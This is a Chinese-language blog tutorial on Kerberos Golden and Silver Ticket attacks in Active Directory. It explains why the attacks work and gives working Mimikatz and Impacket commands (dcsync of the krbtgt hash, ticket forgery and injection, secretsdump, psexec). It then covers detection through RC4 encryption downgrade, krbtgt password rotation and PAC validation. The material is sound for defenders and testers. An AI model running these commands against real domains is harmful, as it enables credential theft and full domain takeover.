讲在前面:

笔者本文对Kerberos协议不会进行详细分析,站在读者已有Kerberos协议简单的基础上结合互联网已有的文章,对上述两个漏洞产生的原理、利用方式、防御方式进行介绍。

区别之处:

笔者翻阅了国内外尽可能多的关于黄金票据和白银票据的文章,将其中对于两者的区别之处的解释经过笔者删改后呈现如下,也就是说如下的区别,的的确确是全面的关于两者的区别。

区别点

黄金票据

白银票据

访问权限

获取任何Kerberos服务权限

访问指定的服务

加密方式

由krbtgt的Hash加密

由服务账号(通常为计算机帐户)Hash加密

认证流程

需要经过域控

不需要经过域控

生成的票据

TGT票据

TGS票据

产生漏洞的原理:

笔者绘制了如下三张简单的示意图并配以短小精悍的文字来辅助读者再次理解Kerberos协议和黄金票据、白银票据的产生原理。

Kerberos协议流程

注意:安装域控制器时会默认将KDC服务装在域控制器上,所以一般情况下域控制器就是KDC服务器。

黄金票据产生原因

利用方式:通过某些漏洞(例如Zerologon、NTLM降级)获取到了Krbtgt帐户的相关信息(NTLM Hash、SID、Sha256 Hash等信息),而后使用krbgtgt账户创建黄金票据以作为权限维持,在没有修改krbtgt帐户密码的前提下,再次进入网络内依旧拥有会拥有管理员权限。访问任何使用Kerberbos进行认证的服务,因为缺少第一二步,但是后面的步骤还是通过KDC的验证了(所以此处我们也将区别之处的两点串起来了)。

原因:因为TGT票据是经过Krbtgt帐户的相关信息对指定帐户进行加密后得出的,所以拿到krbtgt帐户的相关信息后我们就可以自行制作TGT票据。

如下图所示,黄金票据的利用在整个Kerberos正常的认证过程中是缺少第一二个环节的(见下图左上角红框描述),其绕过了DC在创建TGT之前执行的常规验证。

注意:使用Krbtgt的NTML HASH创建的票据,加密方式为RC4(该加密方式为Kerberos中的加密降级,这也是检测的重点特征),该加密方式是可以修改的。

白银票据产生原因

利用方式:通过某些方式获取到了服务帐户或机器帐户的相关信息(NTLM Hash、SID、Sha256 Hash等信息),而后使用服务帐户或机器帐户创建白银票据以访问特定的服务,从而扩大成果。

原因:TGS票据是KDC根据得到TGT票据内的请求使用服务帐户(一般是机器帐户,这里提到的机器帐户或服务帐户均按实际情况分类,一般管理员图省事使用服务所在机器的帐户运行服务亦或者管理员会单独建立一个服务帐户,例如单独创建启动Exchange、Mssql服务的服务帐户)进行加密的票据,得到该票据后客户端就可以使用TGS票据向指定服务请求访问。如下图所示,白银票据的利用在整个Kerberos正常的认证过程中是缺少第一二三四个环节的(见下图左上角红框描述

注意:这里需要注意应用服务器和KDC服务器之间的交互(下图应用服务器和KDC服务器之间标红的两个箭头)

这里着重讲我们需要注意PAC这个知识点。掌握其知识点也是我们理解白银票据能够利用成功的关键。

1、大多数服务未设置验证PAC(验证流程:正常流程,服务解密TGS票据后向应KDC请求该PAC是否有权限访问),那么在不验证PAC的前提,我们就可以伪造一个TGS票据从而骗过特定应用服务器访问特定的服务。

小结:到此我们对于黄金票据和白银票据的漏洞产生的原因形成了一个相对清晰的概念和有了简单的理解,那么我们接下来需要做的工作就是在实际工作中其掌握利用方式和利用的经验。

部分工具利用

我们这里将两者利用的方式也举例对比下:

Mimikatz

  • 黄金票据
#使用mimikatz的dcsync功能获取krbtgt账户的hash及详细信息
lsadump::dcsync /domain:testdomain.com /user:krbtgt#直接注入1:(SID去掉后面的RID)
利用kbrtgt的hash:
kerberos::golden /admin:Administrator /domain:testdomain.com /sid:S-1-5-21-3160116630-2225903390-3717321821 /rc4:493a8296a6e2c3463e2bac8bb2ba87df /ptt#直接注入2(更换为aes256hash):
kerberos::golden /domain:testdomain.com /sid:S-1-5-21-3160116630-2225903390-3717321821 /aes256:6b8d2300af08cffbc9ebab7e1cb225ee4d54e709cf088a583ccb1aecf3fdac67 /user:Administrator /ptt#生成票据文件,而后导入:
##生成文件:
mimikatz:kerberos::golden /domain:testdomain.com /sid: /aes256:6b8d2300af08cffbc9ebab7e1cb225ee4d54e709cf088a583ccb1aecf3fdac67 /user:Administrator /ticket:Administrator.kirbi##导入票据:
kerberos::ptt Administrator.kirbi /use

获取krbtgt相关信息:

票据实验示例:

Klist再次查看机器上的票据:

  • 白银票据
**白银票据需要的参数:
/target –目标服务器的FQDN **FQDN:(Fully Qualified Domain Name)全限定域名:同时带有主机名和域名的名称。(通过符号“.”)
/service –运行在目标服务器上的kerberos服务,该服务主体名称类型如cifs,http,mssql等
/rc4 –服务的NTLM散列(计算机帐户或用户帐户)kerberos::golden /domain:testdomain.com /user:qaz /sid:S-1-5-21-3160116630-2225903390-3717321821 /rc4:3dfcf47e9e4b72bebe1e42e71bf8a01c /target:WIN-6IKRAED2RMI.testdomain.com /service:cifs /ptt

获取相关信息:

成功访问指定服务器的指定Cifs服务:

成功访问指定服务器的指定ldap服务:

#注入ldap服务的白银票据
kerberos::golden /domain:testdomain.com /user:123 /sid:S-1-5-21-3160116630-2225903390-3717321821 /rc4:3dfcf47e9e4b72bebe1e42e71bf8a01c /target:WIN-6IKRAED2RMI.testdomain.com /service:LDAP /ptt#利用ldap协议进行dcsync
lsadump::dcsync /dc:WIN-6IKRAED2RMI.testdomain.com /domain:testdomain.com /user:krbtgt

未注入前:

注入后:

利用建议:实际工作中,勿需将实际环境中的机器的票据清除,并且获取相关信息可以多种方式,勿需局限于mimikatz获取。

Impacket

  • 黄金票据
ticketer.py -nthash 493a8296a6e2c3463e2bac8bb2ba87df -domain-sid S-1-5-21-3160116630-2225903390-3717321821 -domain testdomain.com Administrator                                                                                                                                              #生成票据
export KRB5CCNAME='/usr/share/doc/python-impacket/examples/Administrator.ccache'      #将票据加入环境变量
secretsdump.py -k WIN-6IKRAED2RMI.testdomain.com -just-dc-ntlm -just-dc-user krbtgt   #利用票据

添加临时环境变量,并进一步利用

未添加环境变量,则利用失败

  • 白银票据
ticketer.py -nthash [serviceuser hash or Machine account hash] -domain-sid [serviceuser sid or Machine account sid] -domain adsec.local -spn CIFS/DESKTOP-01.testdomain.com random_user                                   #生成票据
export KRB5CCNAME='/path/to/random_user.ccache'                                           #将票据加入环境变量
psexec.py -k DESKTOP-01.domain.com                                                        #利用票据

笔者尝试操作,但是利用失败。GitHub上发现有此问题的issue,但是其中并没有人提出有效的解决办法。

防御建议

我们经过前面的了解,基本知道了两种票据都是缺少了完整的Kerberos认证流程,同时我们注意到漏洞创造的票据加密方式不同,票据的用户不正确,票据的PAC数据不正确、票据的授权时间不正确。基于上述几点,我们再根据日志或流量进行分析编写规则来防御此类攻击。

日志上检测

部分文章指出我们可以通过4769、4768日志来对比,但是笔者认为考虑到日志实际处理起来相比流量的处理量大,不切实际,同时不符合数量级较多的域环境,单纯在日志上进行检测显得很渺茫。这里仅推荐文章供参考。

笔者这里举例ATA提到的关于异常的Kerberos票据会出现的几个问题

  • 可疑黄金票证使用(帐户不存在)
  • 可疑黄金票证使用(票证异常)
  • 可疑黄金票证使用(时间异常)
  • 可疑黄金票证使用(票证异常使用 RBCD)
  • 可疑黄金票证使用(伪造的授权数据)
  • 可疑黄金票证使用(加密降级)

参考文章:

  • Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory
  • A Golden SAML Journey: SolarWinds Continued

流量上检测

我们先来看正常登录后的Kerberos流量包,很显然,Kerberos认证流程的第一、二、三、四步都正常

我们来看黄金票据的认证流程,很明显缺少了认证流程的第一、二步。

我们来看白银票据的流程,没有经过KDC的认证,所以没有krb5的流量包。注意:(此处同开头讲到的区别之处的认证区别串联起来了)

我们获取了两种票据的流量数据后来进行分析,首先查看加密方式

我们查看流量包中tgs-req -> req-body -> enc-authorization-data -> etype字段。

etype: eTYPE-ARCFOUR-HMAC-MD5 (23)加密类型为:rc4-hmac (deprecated),而正常的加密类型应当为AES加密而不是RC4加密,正常的加密类型应当为:

eTYPE-AES256-CTS-HMAC-SHA1-96 (18)。所以这个区别可以作为我们的关键检测数据之一。

  • RC4加密类型的票据

  • AES加密的票据,我们查看数据包PA-DATA -> PA-TGS-REQ -> AP-REQ -> ticket -> enc-part -> etype字段。

最小权限原则

1、限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机

2.、禁用Krbtgt帐户,并保存当前的密码以及以前的密码

3、建议定期更改Krbtgt密码,Krbtgt帐户需要修改两次

4、一旦攻击者获得了Krbtgt帐号密码哈希的访问权限,就可以随意创建黄金票据

服务端开启PAC验证

ValidateKdcPacSignature DWORD

状态

0

关闭

1

开启

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters

注意:更改此值,则必须重新启动 Windows Server

笔者测试该注册表是否生效时发现无论是否启用 PAC 验证,笔者都能够针对目标系统利用Silver 和Golden票据。

  • MSDN-了解 Microsoft Kerberos PAC 验证

上述MSDN链接文章中对于PAC的解释有这么一段话,解释了PAC 验证什么时候起作用会有几个例外情况:

当服务没有 TCB 权限并且它不是服务控制管理器 (SCM) 服务时,Windows 操作系统将 PAC 验证消息发送到 DC 的 NetLogon 服务。当 LSA 客户端(应用服务器)不在本地系统、网络服务或本地服务的上下文中运行时,本地安全机构子系统服务 (LSASS) 进程将向 DC 发送 PAC 验证消息;或者它没有 SeTCB 特权(作为操作系统的一部分)

总结

透过本文,能够让部分读者基本明白这两款票据的区别之处,以及重温Kerberbos协议的流程,同时激发读者对于Kerberos深入研究的兴趣,本文提到了包括PAC在内的如此字眼,都需要读者继续深入研究Kerberbos协议的魅力之处从而融会贯通的将与Kerberos协议有关的所有漏洞贯穿起来理解,这样能够更好的明白漏洞的来龙去脉。

笔者推荐大家阅读以下文章:

  • Windows内网协议学习Kerberos篇之PAC
  • 内网渗透之kerberos协议分析

golden ticket和sliver ticket的区别是什么?相关推荐

  1. 学习笔记-Windows 安全

    Windows 安全 注 : 笔记中拓扑图 drawio 源文件在其图片目录下 免责声明 本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关. 大纲 漏 ...

  2. 2023年最新网络安全渗透测试工程师面试题合集,建议收藏!

    注:做这个List的目标不是很全,因为无论如何都不可能覆盖所有的面试问题,更多的还是希望由点达面,查漏补缺. [一一帮助网络安全面试提升点我一一] ①网络安全学习路线 ②20份渗透测试电子书 ③安全攻 ...

  3. 网络安全面试/笔试题大全(整整1000道/含答案)

    以下为网络安全各个方向涉及的面试题,星数越多代表问题出现的几率越大,祝各位都能找到满意的工作. 注:本套面试题,已整理成pdf文档,但内容还在持续更新中,因为无论如何都不可能覆盖所有的面试问题,更多的 ...

  4. 金三银四,我猜你需要这套网络安全工程师面试题合集【全网首发】

    以下为信息安全/网络安全各个方向涉及的面试题,星数越多代表问题出现的几率越大,祝各位都能找到满意的工作~ 注:做这个List的目标不是很全,因为无论如何都不可能覆盖所有的面试问题,更多的还是希望由点达 ...

  5. 网络安全工程师在面试安全岗位时,哪些内容是加分项?

    金三银四已经来了,很多小伙伴都在困惑,面试网络安全工程师的时候,有哪些技能是加分项呢?接下来,我简单说说! 去年我在微博上贴了一些在面试安全工作时会加分的内容,如下: 1. wooyun上提交的漏洞, ...

  6. 2023年网络安全工程师面试题合集【首发】

    以下为信息安全各个方向涉及的面试题,星数越多代表问题出现的几率越大,祝各位都能找到满意的工作~ [一一帮助安全学习[点我]一一]①网络安全学习路线②20 份渗透测试电子书③安全攻防 357 页笔记④5 ...

  7. 单点登录cas常见问题(四) - ticket有哪些存储方式?

    配置文件ticketRegistry.xml负责配置ticket的存储方式,registry是注冊表,登记薄的意思 经常使用的存储方式包含 1.DefaultTicketRegistry:默认的.存储 ...

  8. Ticket Game CodeForces - 1215D(博弈题,巴什博弈思维)

    题意:两个人玩游戏,通过轮流填数字(0~9),若最终左右两边的和相等,后手赢,否则先手赢.起始有部分数字和空格. 官方题解: 题解翻译: 让我们把余额表示为左半部分数字和右半部分数字和的差.也让我成为 ...

  9. API接口的安全设计验证:ticket,签名,时间戳

    作者:一剑天门 cnblogs.com/dslx/p/14116294.html 概述 与前端对接的API接口,如果被第三方抓包并进行恶意篡改参数,可能会导致数据泄露,甚至会被篡改数据,我主要围绕时间 ...

  10. 报错:Ticket expired while renewing credentials 原因:Hue 集成Kerberos 导致Kerberos Ticket Renewer 起不来

    报错:Ticket expired while renewing credentials 原因:Hue 集成Kerberos 导致Kerberos Ticket Renewer 起不来 图片: 报错, ...

最新文章

  1. 【算法学习笔记】57. 前缀树 字典序优化技巧 STL学习 SJTU OJ 1366 前缀匹配
  2. C 过渡 C++ 1
  3. linux命令 把文件夹拷贝一遍_cp 快捷命令:复制文件到多个目录
  4. sql查询复习笔记-小技巧,大智慧(续一)
  5. android模拟器后台截屏,【Android】Android模拟器下截屏及格式转换
  6. PKUWC 2018 滚粗记
  7. 20应用统计考研复试要点(part19)--概率论与数理统计
  8. linux sock_raw原始套接字编程
  9. 别把项目成功当目标 (转)
  10. JQueryDOM之创建节点
  11. 网游中的网络编程系列1:UDP vs. TCP
  12. mediacodec编解码少帧问题
  13. 接口接收数据_你知道RS232与RS485接口的区别吗?
  14. GNS3 2.1.9版本的安装
  15. 普通话和英语发音_incomplete
  16. 获取QQ好友列表、QQ分组信息、QQ群成员数据接口实现
  17. ubuntu16.04/20.04 xfce4以及windows下面使用护眼软件redshift
  18. 《管理学》第七章 激励
  19. 关于linux下UART串口编程的困惑
  20. HTTPS是怎么防止劫持的

热门文章

  1. 【如何解决 Web 越来越繁杂的问题】笔记
  2. 10 06 01 繁杂
  3. HanLP-命名实体识别总结
  4. EJB2.0雨夜教程之一
  5. 计划任务和周期任务mail,at,batch,atq, atrm, cron, crontab
  6. 4GMF论坛主席卢伟谈4G全球发展概况
  7. PLC M8000 M8001 M8002 M8003
  8. Image Enhancement
  9. 豆瓣电影数据可视化项目
  10. 苹果系统自带的计算机怎么恢复出厂设置,苹果电脑MacBook如何将系统恢复出厂设置...